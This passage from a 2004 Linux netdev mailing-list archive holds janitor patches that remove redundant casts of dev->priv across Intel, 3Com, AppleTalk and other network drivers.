dev->base_addr; /* Power up on: 1==Downloaded Filter, 2==Magic Packets, 4==Link Status. */ _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:11:07 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAoKO000805 for ; Sun, 29 Feb 2004 15:10:51 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAaE04016; Sun, 29 Feb 2004 15:10:36 -0800 Date: Sun, 29 Feb 2004 14:56:33 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in intel-ee drivers Message-Id: <20040229145633.008ea503.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3671 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/82596.c | 6 +++--- drivers/net/eepro.c | 16 ++++++++-------- drivers/net/eepro100.c | 42 +++++++++++++++++++++--------------------- drivers/net/eexpress.c | 28 ++++++++++++++-------------- drivers/net/lasi_82596.c | 6 +++--- 5 files changed, 49 insertions(+), 49 deletions(-) diff -puN drivers/net/82596.c~net_intel_casts drivers/net/82596.c --- linux-263-229/drivers/net/82596.c~net_intel_casts 2004-02-29 14:02:15.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/82596.c 2004-02-29 14:02:15.000000000 -0800 @@ -528,7 +528,7 @@ static irqreturn_t i596_error(int irq, v static inline void init_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = dev->priv; int i; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -579,7 +579,7 @@ static inline void init_rx_bufs(struct n static inline void remove_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = dev->priv; struct i596_rbd *rbd; int i; @@ -765,7 +765,7 @@ failed: static inline int i596_rx(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = dev->priv; struct i596_rfd *rfd; struct i596_rbd *rbd; int frames = 0; diff -puN drivers/net/eepro100.c~net_intel_casts drivers/net/eepro100.c --- linux-263-229/drivers/net/eepro100.c~net_intel_casts 2004-02-29 14:02:15.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/eepro100.c 2004-02-29 14:02:15.000000000 -0800 @@ -995,7 +995,7 @@ static void mdio_write(struct net_device static int speedo_open(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; int retval; @@ -1194,7 +1194,7 @@ speedo_rx_soft_reset(struct net_device * static void speedo_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; int phy_num = sp->phy[0] & 0x1f; @@ -1239,7 +1239,7 @@ static void speedo_timer(unsigned long d static void speedo_show_state(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; int i; if (netif_msg_pktdata(sp)) { @@ -1282,7 +1282,7 @@ static void speedo_show_state(struct net static void speedo_init_rx_ring(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; struct RxFD *rxf, *last_rxf = NULL; dma_addr_t last_rxf_dma = 0 /* to shut up the compiler */; int i; @@ -1330,7 +1330,7 @@ speedo_init_rx_ring(struct net_device *d static void speedo_purge_tx(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; int entry; while ((int)(sp->cur_tx - sp->dirty_tx) > 0) { @@ -1362,7 +1362,7 @@ static void speedo_purge_tx(struct net_d static void reset_mii(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; /* Reset the MII transceiver, suggested by Fred Young @ scalable.com. */ if ((sp->phy[0] & 0x8000) == 0) { @@ -1385,7 +1385,7 @@ static void reset_mii(struct net_device static void speedo_tx_timeout(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; int status = inw(ioaddr + SCBStatus); unsigned long flags; @@ -1447,7 +1447,7 @@ static void speedo_tx_timeout(struct net static int speedo_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; int entry; @@ -1518,7 +1518,7 @@ speedo_start_xmit(struct sk_buff *skb, s static void speedo_tx_buffer_gc(struct net_device *dev) { unsigned int dirty_tx; - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; dirty_tx = sp->dirty_tx; while ((int)(sp->cur_tx - dirty_tx) > 0) { @@ -1677,7 +1677,7 @@ static irqreturn_t speedo_interrupt(int static inline struct RxFD *speedo_rx_alloc(struct net_device *dev, int entry) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; struct RxFD *rxf; struct sk_buff *skb; /* Get a fresh skbuff to replace the consumed one. */ @@ -1704,7 +1704,7 @@ static inline struct RxFD *speedo_rx_all static inline void speedo_rx_link(struct net_device *dev, int entry, struct RxFD *rxf, dma_addr_t rxf_dma) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; rxf->status = cpu_to_le32(0xC0000001); /* '1' for driver use only. */ rxf->link = 0; /* None yet. */ rxf->count = cpu_to_le32(PKT_BUF_SZ << 16); @@ -1718,7 +1718,7 @@ static inline void speedo_rx_link(struct static int speedo_refill_rx_buf(struct net_device *dev, int force) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; int entry; struct RxFD *rxf; @@ -1760,7 +1760,7 @@ static int speedo_refill_rx_buf(struct n static void speedo_refill_rx_buffers(struct net_device *dev, int force) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; /* Refill the RX ring. */ while ((int)(sp->cur_rx - sp->dirty_rx) > 0 && @@ -1770,7 +1770,7 @@ static void speedo_refill_rx_buffers(str static int speedo_rx(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; int entry = sp->cur_rx % RX_RING_SIZE; int rx_work_limit = sp->dirty_rx + RX_RING_SIZE - sp->cur_rx; int alloc_ok = 1; @@ -1884,7 +1884,7 @@ static int speedo_close(struct net_device *dev) { long ioaddr = dev->base_addr; - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; int i; netdevice_stop(dev); @@ -1962,7 +1962,7 @@ speedo_close(struct net_device *dev) static struct net_device_stats * speedo_get_stats(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; /* Update only if the previous dump finished. */ @@ -2070,7 +2070,7 @@ static int netdev_ethtool_ioctl(struct n static int speedo_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; int phy = sp->phy[0] & 0x1f; int saved_acpi; @@ -2121,7 +2121,7 @@ static int speedo_ioctl(struct net_devic */ static void set_rx_mode(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; struct descriptor *last_cmd; char new_rx_mode; @@ -2313,7 +2313,7 @@ static void set_rx_mode(struct net_devic static int eepro100_suspend(struct pci_dev *pdev, u32 state) { struct net_device *dev = pci_get_drvdata (pdev); - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; pci_save_state(pdev, sp->pm_state); @@ -2333,7 +2333,7 @@ static int eepro100_suspend(struct pci_d static int eepro100_resume(struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata (pdev); - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; long ioaddr = dev->base_addr; pci_restore_state(pdev, sp->pm_state); @@ -2363,7 +2363,7 @@ static int eepro100_resume(struct pci_de static void __devexit eepro100_remove_one (struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata (pdev); - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = dev->priv; unregister_netdev(dev); diff -puN drivers/net/eepro.c~net_intel_casts drivers/net/eepro.c --- linux-263-229/drivers/net/eepro.c~net_intel_casts 2004-02-29 14:02:15.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/eepro.c 2004-02-29 14:02:15.000000000 -0800 @@ -932,7 +932,7 @@ static int eepro_open(struct net_device unsigned short temp_reg, old8, old9; int irqMask; int i, ioaddr = dev->base_addr; - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; if (net_debug > 3) printk(KERN_DEBUG "%s: entering eepro_open routine.\n", dev->name); @@ -1122,7 +1122,7 @@ static void eepro_tx_timeout (struct net static int eepro_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; unsigned long flags; int ioaddr = dev->base_addr; short length = skb->len; @@ -1235,7 +1235,7 @@ eepro_interrupt(int irq, void *dev_id, s static int eepro_close(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; int ioaddr = dev->base_addr; short temp_reg; @@ -1280,7 +1280,7 @@ static int eepro_close(struct net_device static struct net_device_stats * eepro_get_stats(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; return &lp->stats; } @@ -1290,7 +1290,7 @@ eepro_get_stats(struct net_device *dev) static void set_multicast_list(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; short ioaddr = dev->base_addr; unsigned short mode; struct dev_mc_list *dmi=dev->mc_list; @@ -1468,7 +1468,7 @@ read_eeprom(int ioaddr, int location, st static int hardware_send_packet(struct net_device *dev, void *buf, short length) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; short ioaddr = dev->base_addr; unsigned status, tx_available, last, end; @@ -1553,7 +1553,7 @@ hardware_send_packet(struct net_device * static void eepro_rx(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; short ioaddr = dev->base_addr; short boguscount = 20; short rcv_car = lp->rx_start; @@ -1651,7 +1651,7 @@ eepro_rx(struct net_device *dev) static void eepro_transmit_interrupt(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = dev->priv; short ioaddr = dev->base_addr; short boguscount = 25; short xmt_status; diff -puN drivers/net/eexpress.c~net_intel_casts drivers/net/eexpress.c --- linux-263-229/drivers/net/eexpress.c~net_intel_casts 2004-02-29 14:02:15.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/eexpress.c 2004-02-29 14:02:15.000000000 -0800 @@ -452,7 +452,7 @@ static int eexp_open(struct net_device * { int ret; unsigned short ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; #if NET_DEBUG > 6 printk(KERN_DEBUG "%s: eexp_open()\n", dev->name); @@ -541,7 +541,7 @@ static int eexp_close(struct net_device static struct net_device_stats *eexp_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } @@ -553,7 +553,7 @@ static struct net_device_stats *eexp_sta static void unstick_cu(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short ioaddr = dev->base_addr; if (lp->started) @@ -627,7 +627,7 @@ static void unstick_cu(struct net_device static void eexp_timeout(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; #ifdef CONFIG_SMP unsigned long flags; #endif @@ -667,7 +667,7 @@ static void eexp_timeout(struct net_devi */ static int eexp_xmit(struct sk_buff *buf, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; short length = buf->len; #ifdef CONFIG_SMP unsigned long flags; @@ -728,7 +728,7 @@ static unsigned short eexp_start_irq(str unsigned short status) { unsigned short ack_cmd = SCB_ack(status); - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short ioaddr = dev->base_addr; if ((dev->flags & IFF_UP) && !(lp->started & STARTED_CU)) { short diag_status, tdr_status; @@ -925,7 +925,7 @@ static void eexp_hw_set_interface(struct static void eexp_hw_rx_pio(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short rx_block = lp->rx_ptr; unsigned short boguscount = lp->num_rx_bufs; unsigned short ioaddr = dev->base_addr; @@ -1022,7 +1022,7 @@ static void eexp_hw_rx_pio(struct net_de static void eexp_hw_tx_pio(struct net_device *dev, unsigned short *buf, unsigned short len) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short ioaddr = dev->base_addr; if (LOCKUP16 || lp->width) { @@ -1262,7 +1262,7 @@ static unsigned short __init eexp_hw_rea static unsigned short eexp_hw_lasttxstat(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short tx_block = lp->tx_reap; unsigned short status; @@ -1332,7 +1332,7 @@ static unsigned short eexp_hw_lasttxstat static void eexp_hw_txrestart(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short ioaddr = dev->base_addr; lp->last_tx_restart = lp->tx_link; @@ -1377,7 +1377,7 @@ static void eexp_hw_txrestart(struct net static void eexp_hw_txinit(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short tx_block = TX_BUF_START; unsigned short curtbuf; unsigned short ioaddr = dev->base_addr; @@ -1419,7 +1419,7 @@ static void eexp_hw_txinit(struct net_de static void eexp_hw_rxinit(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short rx_block = lp->rx_buf_start; unsigned short ioaddr = dev->base_addr; @@ -1478,7 +1478,7 @@ static void eexp_hw_rxinit(struct net_de static void eexp_hw_init586(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned short ioaddr = dev->base_addr; int i; @@ -1639,7 +1639,7 @@ static void eexp_set_multicast(struct net_device *dev) { unsigned short ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int kick = 0, i; if ((dev->flags & IFF_PROMISC) != lp->was_promisc) { outw(CONF_PROMISC & ~31, ioaddr+SM_PTR); diff -puN drivers/net/lasi_82596.c~net_intel_casts drivers/net/lasi_82596.c --- linux-263-229/drivers/net/lasi_82596.c~net_intel_casts 2004-02-29 14:02:15.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/lasi_82596.c 2004-02-29 14:02:15.000000000 -0800 @@ -541,7 +541,7 @@ static void i596_error(int irq, void *de static inline void init_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = dev->priv; int i; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -595,7 +595,7 @@ static inline void init_rx_bufs(struct n static inline void remove_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = dev->priv; struct i596_rbd *rbd; int i; @@ -727,7 +727,7 @@ failed: static inline int i596_rx(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = dev->priv; struct i596_rfd *rfd; struct i596_rbd *rbd; int frames = 0; _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:58 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAlKO000773 for ; Sun, 29 Feb 2004 15:10:47 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAdE04035; Sun, 29 Feb 2004 15:10:39 -0800 Date: Sun, 29 Feb 2004 15:01:06 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in 3c527 Message-Id: <20040229150106.694b113b.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3667 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/3c527.c | 32 ++++++++++++++++---------------- 1 files changed, 16 insertions(+), 16 deletions(-) diff -puN drivers/net/3c527.c~drivers_net_v2_casts drivers/net/3c527.c --- linux-263-229/drivers/net/3c527.c~drivers_net_v2_casts 2004-02-29 14:04:11.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/3c527.c 2004-02-29 14:04:11.000000000 -0800 @@ -573,7 +573,7 @@ static inline void mc32_ready_poll(struc static int mc32_command_nowait(struct net_device *dev, u16 cmd, void *data, int len) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int ioaddr = dev->base_addr; int ret = -1; @@ -619,7 +619,7 @@ static int mc32_command_nowait(struct ne static int mc32_command(struct net_device *dev, u16 cmd, void *data, int len) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int ioaddr = dev->base_addr; int ret = 0; @@ -671,7 +671,7 @@ static int mc32_command(struct net_devic static void mc32_start_transceiver(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int ioaddr = dev->base_addr; /* Ignore RX overflow on device closure */ @@ -706,7 +706,7 @@ static void mc32_start_transceiver(struc static void mc32_halt_transceiver(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int ioaddr = dev->base_addr; mc32_ready_poll(dev); @@ -743,7 +743,7 @@ static void mc32_halt_transceiver(struct static int mc32_load_rx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int i; u16 rx_base; volatile struct skb_header *p; @@ -792,7 +792,7 @@ static int mc32_load_rx_ring(struct net_ static void mc32_flush_rx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int i; for(i=0; i < RX_RING_LEN; i++) @@ -824,7 +824,7 @@ static void mc32_flush_rx_ring(struct ne static void mc32_load_tx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; volatile struct skb_header *p; int i; u16 tx_base; @@ -861,7 +861,7 @@ static void mc32_load_tx_ring(struct net static void mc32_flush_tx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int i; for (i=0; i < TX_RING_LEN; i++) @@ -899,7 +899,7 @@ static void mc32_flush_tx_ring(struct ne static int mc32_open(struct net_device *dev) { int ioaddr = dev->base_addr; - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; u8 one=1; u8 regs; u16 descnumbuffs[2] = {TX_RING_LEN, RX_RING_LEN}; @@ -1022,7 +1022,7 @@ static void mc32_timeout(struct net_devi static int mc32_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; u32 head = atomic_read(&lp->tx_ring_head); volatile struct skb_header *p, *np; @@ -1092,7 +1092,7 @@ static int mc32_send_packet(struct sk_bu static void mc32_update_stats(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; volatile struct mc32_stats *st = lp->stats; u32 rx_errors=0; @@ -1236,7 +1236,7 @@ static void mc32_rx_ring(struct net_devi static void mc32_tx_ring(struct net_device *dev) { - struct mc32_local *lp=(struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; volatile struct skb_header *np; /* @@ -1333,7 +1333,7 @@ static irqreturn_t mc32_interrupt(int ir } ioaddr = dev->base_addr; - lp = (struct mc32_local *)dev->priv; + lp = dev->priv; /* See whats cooking */ @@ -1450,7 +1450,7 @@ static irqreturn_t mc32_interrupt(int ir static int mc32_close(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; int ioaddr = dev->base_addr; u8 regs; @@ -1499,7 +1499,7 @@ static int mc32_close(struct net_device static struct net_device_stats *mc32_get_stats(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; mc32_update_stats(dev); return &lp->net_stats; @@ -1531,7 +1531,7 @@ static struct net_device_stats *mc32_get static void do_mc32_set_multicast_list(struct net_device *dev, int retry) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = dev->priv; u16 filt = (1<<2); /* Save Bad Packets, for stats purposes */ if (dev->flags&IFF_PROMISC) _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:57 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAhKO000755 for ; Sun, 29 Feb 2004 15:10:44 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAUE03986; Sun, 29 Feb 2004 15:10:30 -0800 Date: Sun, 29 Feb 2004 14:35:30 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in /appletalk/ & /fc/ Message-Id: <20040229143530.12d9426d.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3666 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/appletalk/cops.c | 16 ++++++++-------- drivers/net/fc/iph5526.c | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff -puN drivers/net/appletalk/cops.c~net_atalk_fc_casts drivers/net/appletalk/cops.c --- linux-263-229/drivers/net/appletalk/cops.c~net_atalk_fc_casts 2004-02-29 13:54:59.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/appletalk/cops.c 2004-02-29 13:54:59.000000000 -0800 @@ -422,7 +422,7 @@ static int __init cops_irq (int ioaddr, */ static int cops_open(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; if(dev->irq==0) { @@ -456,7 +456,7 @@ static int cops_open(struct net_device * */ static int cops_jumpstart(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; /* * Once the card has the firmware loaded and has acquired @@ -490,7 +490,7 @@ static void tangent_wait_reset(int ioadd */ static void cops_reset(struct net_device *dev, int sleep) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; int ioaddr=dev->base_addr; if(lp->board==TANGENT) @@ -869,7 +869,7 @@ static void cops_rx(struct net_device *d static void cops_timeout(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; int ioaddr = dev->base_addr; lp->stats.tx_errors++; @@ -891,7 +891,7 @@ static void cops_timeout(struct net_devi static int cops_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; int ioaddr = dev->base_addr; unsigned long flags; @@ -966,7 +966,7 @@ static int cops_hard_header(struct sk_bu static int cops_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; struct sockaddr_at *sa = (struct sockaddr_at *)&ifr->ifr_addr; struct atalk_addr *aa = (struct atalk_addr *)&lp->node_addr; @@ -1002,7 +1002,7 @@ static int cops_ioctl(struct net_device static int cops_close(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; /* If we were running polled, yank the timer. */ @@ -1019,7 +1019,7 @@ static int cops_close(struct net_device */ static struct net_device_stats *cops_get_stats(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = dev->priv; return &lp->stats; } diff -puN drivers/net/fc/iph5526.c~net_atalk_fc_casts drivers/net/fc/iph5526.c --- linux-263-229/drivers/net/fc/iph5526.c~net_atalk_fc_casts 2004-02-29 13:54:59.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/fc/iph5526.c 2004-02-29 13:54:59.000000000 -0800 @@ -238,7 +238,7 @@ int __init iph5526_probe(struct net_devi static int __init iph5526_probe_pci(struct net_device *dev) { - struct fc_info *fi = (struct fc_info *)dev->priv; + struct fc_info *fi = dev->priv; fi->dev = dev; dev->base_addr = fi->base_addr; dev->irq = fi->irq; _ -- ~Randy -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:11:10 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAqKO000824 for ; Sun, 29 Feb 2004 15:10:52 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAeE04039; Sun, 29 Feb 2004 15:10:40 -0800 Date: Sun, 29 Feb 2004 15:02:50 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts (others) Message-Id: <20040229150250.26de9ef3.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3672 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/amd8111e.c | 8 ++++---- drivers/net/ariadne.c | 10 +++++----- drivers/net/at1700.c | 12 ++++++------ drivers/net/atari_bionet.c | 12 ++++++------ drivers/net/atp.c | 20 ++++++++++---------- drivers/net/bmac.c | 2 +- drivers/net/cs89x0.c | 34 +++++++++++++++++----------------- drivers/net/eth16i.c | 14 +++++++------- drivers/net/fec.c | 2 +- drivers/net/gt96100eth.c | 40 ++++++++++++++++++++-------------------- drivers/net/mac89x0.c | 10 +++++----- drivers/net/ni5010.c | 8 ++++---- drivers/net/rrunner.c | 8 ++++---- drivers/net/sb1000.c | 14 +++++++------- drivers/net/sb1250-mac.c | 14 +++++++------- drivers/net/seeq8005.c | 12 ++++++------ drivers/net/sgiseeq.c | 2 +- drivers/net/sk_g16.c | 2 +- drivers/net/smc9194.c | 12 ++++++------ 19 files changed, 118 insertions(+), 118 deletions(-) diff -puN drivers/net/amd8111e.c~drivers_net_casts drivers/net/amd8111e.c --- linux-263-229/drivers/net/amd8111e.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/amd8111e.c 2004-02-29 14:03:33.000000000 -0800 @@ -197,7 +197,7 @@ This function will set PHY speed. During */ static void 